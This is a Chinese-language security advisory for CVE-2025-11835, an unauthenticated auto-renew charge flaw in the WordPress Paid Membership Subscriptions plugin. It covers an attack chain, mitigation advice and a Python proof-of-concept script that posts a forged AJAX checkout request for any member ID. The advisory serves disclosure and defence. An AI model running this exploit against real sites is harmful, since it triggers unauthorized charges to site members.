IPBUF安全漏洞报告
English
CVE-2025-11835 CVSS 5.3 中危

CVE-2025-11835 WordPress Paid Membership Subscriptions插件未授权自动续费漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-11835
漏洞类型
缺少授权检查
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Paid Membership Subscriptions (WordPress插件)

相关标签

WordPress插件漏洞缺少授权检查自动续费绕过Paid Membership SubscriptionsCVE-2025-11835中危漏洞AJAX端点漏洞

漏洞概述

Paid Membership Subscriptions是WordPress平台上广泛使用的付费会员订阅管理插件,提供会员管理、循环支付和内容限制功能。该插件在2.16.4及之前版本中存在严重的安全漏洞,由于PMS_AJAX_Checkout_Handler::process_payment()函数缺少适当的权限验证和能力检查,攻击者可以在无需任何认证的情况下调用该函数,触发存储的自动续期扣款操作。这意味着未授权攻击者可以为任意会员账户触发续费扣款,可能导致会员被恶意扣费或订阅被不当续期。该漏洞影响所有使用该插件的WordPress网站,CVSS评分5.3,属于中危级别。

技术细节

漏洞根源在于PMS_AJAX_Checkout_Handler::process_payment()方法未实施适当的访问控制。该方法作为WordPress AJAX处理器注册,允许通过wp-admin/admin-ajax.php端点访问。在处理支付请求时,函数直接执行支付处理逻辑而未验证调用者是否具有管理会员订阅的权限。攻击者只需构造特定的AJAX请求,包含目标会员ID和支付参数,即可触发自动续费流程。攻击过程中,插件会查询目标会员的订阅状态和支付信息,然后执行续期扣款。由于缺少CSRF token验证和用户身份验证,攻击者可以跨站请求形式自动化利用此漏洞。成功利用后,系统会为指定会员账户生成新的支付记录并触发计费流程。

攻击链分析

STEP 1
步骤1
攻击者识别运行WordPress且安装Paid Membership Subscriptions插件的网站
STEP 2
步骤2
攻击者获取目标会员的ID(可通过会员列表或其他方式获取)
STEP 3
步骤3
攻击者构造恶意AJAX请求,指向wp-admin/admin-ajax.php端点
STEP 4
步骤4
请求中包含action=pms_ajax_checkout和目标会员ID,无需任何认证或nonce验证
STEP 5
步骤5
服务器端process_payment()函数接收请求,由于缺少权限检查直接执行
STEP 6
步骤6
插件为指定会员创建新的支付记录并触发自动续费扣款流程
STEP 7
步骤7
会员账户被不当续期,可能导致未授权的财务扣款

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-11835 PoC - Unauthenticated Auto-Renew Charge Trigger # Target: WordPress with Paid Membership Subscriptions plugin <= 2.16.4 def exploit_cve_2025_11835(target_url, member_id): """ Exploit missing authorization check in PMS_AJAX_Checkout_Handler::process_payment() Allows unauthenticated attackers to trigger stored auto-renew charges for arbitrary members. """ # WordPress AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct malicious request to trigger auto-renew data = { 'action': 'pms_ajax_checkout', # AJAX action hook 'subscriber_id': member_id, # Target member ID 'payment_type': 'renew', # Payment type: renewal 'nonce': '' # Empty nonce - no CSRF protection } try: response = requests.post(ajax_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent to trigger auto-renew for member {member_id}") print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <member_id>") print(f"Example: python {sys.argv[0]} http://example.com 123") sys.exit(1) target = sys.argv[1] member_id = sys.argv[2] exploit_cve_2025_11835(target, member_id)

影响范围

Paid Membership Subscriptions plugin <= 2.16.4

防御指南

临时缓解措施
如果无法立即升级,可通过Web应用防火墙规则临时阻止对admin-ajax.php的恶意请求,或限制pms_ajax_checkout AJAX action的访问。同时监控支付日志以便发现异常的自动续费行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表